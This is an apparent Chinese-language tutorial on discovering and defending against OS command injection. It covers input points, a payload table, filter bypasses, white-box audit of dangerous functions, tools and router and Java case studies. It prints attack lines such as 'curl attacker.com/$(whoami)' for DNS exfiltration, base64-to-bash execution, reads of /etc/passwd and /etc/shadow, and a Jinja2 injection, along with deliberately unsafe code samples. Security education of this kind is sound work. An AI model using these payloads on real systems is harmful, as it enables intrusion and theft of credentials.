挖掘命令执行漏洞的核心是：寻找应用程序中用户输入（如参数、表单、HTTP头）未经严格过滤或验证，就被直接传递给系统命令执行函数（如eval, system, exec, popen）的点，通过注入特殊字符（| & ; $() `）或命令测试其执行情况。
漏洞原理与危害
技术本质：
当应用将用户输入未经净化直接拼接至系统命令（如system()、exec()）时，攻击者可通过注入操作符（、&&、）或反引号（`）附加恶意指令。
典型场景：
- Web应用：网络设备管理接口、CI/CD工具、内容管理系统（CMS）插件
- 非Web场景：IoT设备固件、桌面软件配置功能
危害等级：
- 高危（CVSS 9.0+）：直接获取服务器Shell权限
- 横向威胁：可作为跳板攻击内网系统
黑盒测试挖掘流程
步骤1：识别输入点
✅ 显性输入点： - GET/POST参数（如`?cmd=ping+127.0.0.1`） - HTTP头部（User-Agent, X-Forwarded-For） - 文件上传功能（文件名解析） ✅ 隐性输入点： - 日志分析功能（读取文件路径） - 系统状态检查（ping/traceroute）
步骤2：注入测试向量
| 注入类型 | 测试Payload | 适用场景 |
|---|---|---|
| 基础分隔符 | ;id && whoami |
Linux/Unix系统 |
| 管道符 | | cat /etc/passwd |
命令链截断 |
| 反引号 | `echo test` |
内联命令执行 |
| 时间盲注 | sleep 5 |
无回显场景 |
| 环境变量 | ${PATH} |
变量篡改 |
关键技巧：
- 使用双写绕过：
ls -la（过滤空格时）- 编码混淆：
base64 "id" | base64 -d | bash（绕过基础过滤）- 盲注检测：通过DNS外带数据（
curl attacker.com/$(whoami)）
步骤3：回显与错误分析
- 成功特征：
- 返回系统命令结果（如
uid=0(root)） - 异常错误信息（
sh: 1: invalid-command: not found）
- 返回系统命令结果（如
- 无回显处理：
- 监听DNS请求（
dnslog.cn） - 触发延迟响应（
ping -c 10 127.0.0.1）
- 监听DNS请求（
白盒审计核心策略
危险函数追踪
# Python高危函数
os.system("ping " + user_input) # 直接拼接
subprocess.call(user_input, shell=True) # Shell模式启用
# PHP高危函数
system($_GET['cmd']);
exec("nslookup " . $input);
数据流分析
- 从用户输入源（
$_REQUEST、InputStream）到危险函数的完整调用链 - 检查过滤逻辑是否允许绕过：
$input = str_replace(";", "", $_POST['ip']); // 未过滤`&&` → 可注入`127.0.0.1 && reboot`
上下文逃逸检测
- 文件路径注入：
/dev/null; id→ 被误解析为命令 - 模板引擎滥用：
{{config.__class__.__init__.__globals__['os'].system('id')}}（Jinja2）
自动化工具辅助
| 工具名称 | 用途 | 使用示例 |
|---|---|---|
| Burp Suite | 拦截修改请求测试注入 | Intruder模块爆破命令分隔符 |
| Commix | 自动化命令注入检测 | commix -u "http://target/?ip=127.0.0.1" |
| Semgrep | 静态代码扫描 | 规则匹配os.system($VAR) |
| tcpdump | 监听DNS外带流量 | tcpdump -i eth0 port 53 |
工具局限：自动化工具易误报，需人工验证逻辑上下文。
经典漏洞案例
案例1：网络设备管理后台注入
- 漏洞点：路由器Ping功能
POST /ping.php HTTP/1.1 Host: router.local ip=192.168.1.1; cat /etc/shadow
- 利用结果：直接输出系统密码哈希
案例2：Java应用路径拼接漏洞
String cmd = "nslookup " + request.getParameter("domain");
Runtime.getRuntime().exec(cmd); // 未校验domain格式
注入Payload：example.com & calc.exe → 在Windows服务器弹出计算器
防御方案（开发者必读）
- 输入白名单
- 仅允许预期字符（如IP地址：
^[0-9.]+$）
- 仅允许预期字符（如IP地址：
- 安全API调用
- 使用参数化函数（Python：
subprocess.run(['ping', ip], shell=False）
- 使用参数化函数（Python：
- 最小权限原则
运行服务的用户降权（非root）
- 沙箱隔离
Docker容器化执行高危命令
命令执行漏洞的挖掘需要结合输入点发现、上下文理解、绕过技巧三位一体，安全研究人员应遵循道德准则，所有测试需获得授权，防御的核心在于不信任用户输入，通过设计而非修补解决风险。
引用说明：
- OWASP Command Injection Guide (2025)
- MITRE CWE-78: OS Command Injection
- PortSwigger: Command Injection Vulnerabilities
- SANS Institute: Secure Coding in Java/PHP
原创文章，发布者：酷盾叔，转转请注明出处：https://www.kd.cn/ask/17685.html
